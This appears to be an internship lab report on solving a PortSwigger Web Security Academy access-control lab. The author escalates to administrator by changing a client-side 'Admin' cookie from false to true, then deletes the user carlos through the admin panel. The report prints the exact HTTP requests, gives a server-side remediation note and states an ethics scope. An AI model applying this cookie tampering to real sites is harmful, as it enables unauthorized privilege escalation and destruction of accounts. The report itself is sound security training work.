

Day 24 — PortSwigger Access Control Lab

Trios Cyber Internship

Assignment

Complete a beginner-level access control lab using Burp Suite and demonstrate how improper authorization controls can allow a normal authenticated user to access administrator functionality.

Lab Details

Lab: User role controlled by request parameter

Platform: PortSwigger Web Security Academy

Category: Access Control

Difficulty: Apprentice

Tool: Burp Suite

Status: Solved

Objective

The objective was to test whether the application correctly enforced authorization when the user role was controlled through a request parameter.

The test compared the normal authenticated request with an altered request in which the client-controlled Admin parameter was changed from false to true.

Testing Procedure

1. Normal Authenticated Request

After logging in as the normal user `wiener`, the following request was observed:

```
GET /my-account?id=wiener HTTP/2
Host: 0a380026045a112a810c2a6800110066.web-security-academy.net
Cookie: Admin=false; session=[REDACTED]
```

The normal request provided access to the authenticated user's account page, but administrator functionality was not available.

Evidence: `screenshots/02-normal-login-request.png`

2. Altering the Admin Parameter

The request was modified by changing the client-controlled parameter:

```
Admin=false
```

to:

Admin=true

The altered request remained:

GET /my-account?id=wiener HTTP/2

Host: 0a380026045a112a810c2a6800110066.web-security-academy.net

Cookie: Admin=true; session=[REDACTED]

The application returned HTTP/2 200 OK and exposed the administrator panel link.

Evidence: screenshots/03-admin-false-request.png **Evidence:** screenshots/04-admin-true-altered-request.png

3. Accessing the Administrator Panel

Using the modified authorization state, the following request was sent:

GET /admin HTTP/2

Host: 0a380026045a112a810c2a6800110066.web-security-academy.net

Cookie: Admin=true; session=[REDACTED]

The application returned HTTP/2 200 OK and displayed administrator functionality, including user-management actions.

Evidence: screenshots/05-admin-panel-solved.png

4. Demonstrating Administrative Functionality

The administrator functionality was used to access the deletion endpoint for the Carlos account:

GET /admin/delete?username=carlos HTTP/2

Host: 0a380026045a112a810c2a6800110066.web-security-academy.net

Cookie: Admin=true; session=[REDACTED]

The PortSwigger Web Security Academy subsequently displayed the lab as **Solved**.

Evidence: screenshots/06-access-control-lab-solved.png

Security Finding

The application trusted a client-controlled **Admin** parameter to determine the user's authorization level.

Changing:

Admin=false

to:

`Admin=true`

allowed the normal authenticated user to access administrator functionality.

This demonstrates an access-control failure involving client-controlled role information, resulting in vertical privilege escalation.

Authorization decisions should instead be enforced server-side using trusted session or server-side identity information rather than relying on client-controlled role parameters.

Request Comparison

Test	Admin Parameter	Result
Normal request	<code>false</code>	Normal user functionality
Altered request	<code>true</code>	Administrator panel exposed
<code>/admin</code>	<code>true</code>	Administrator functionality accessible
<code>/admin/delete?username=cardos</code>	<code>true</code>	Lab completed and marked Solved

Evidence Collected

The following evidence was collected during the exercise:

1. `screenshots/01-access-control-lab-open.png` — Lab environment
2. `screenshots/02-normal-login-request.png` — Normal authenticated request
3. `screenshots/03-admin-false-request.png` — Original `Admin=false` state
4. `screenshots/04-admin-true-altered-request.png` — Modified `Admin=true` request
5. `screenshots/05-admin-panel-solved.png` — Administrator panel
6. `screenshots/06-access-control-lab-solved.png` — Lab solved confirmation
7. `logs/access-control-request-flow.txt` — Raw request-flow notes

Learning Outcome

This exercise demonstrated how authorization can fail when an application trusts role information supplied by the client.

The lab reinforced the importance of:

- Server-side authorization checks

- Avoiding client-controlled privilege indicators
- Comparing normal and modified HTTP requests
- Using Burp Suite to inspect and modify requests
- Testing administrative endpoints for unauthorized access

Scope and Ethics

All testing was performed exclusively against the intentionally vulnerable PortSwigger Web Security Academy training environment.

No unauthorized systems, services, or real-world accounts were targeted.

Status

Lab Status: Solved

Assignment Status: Completed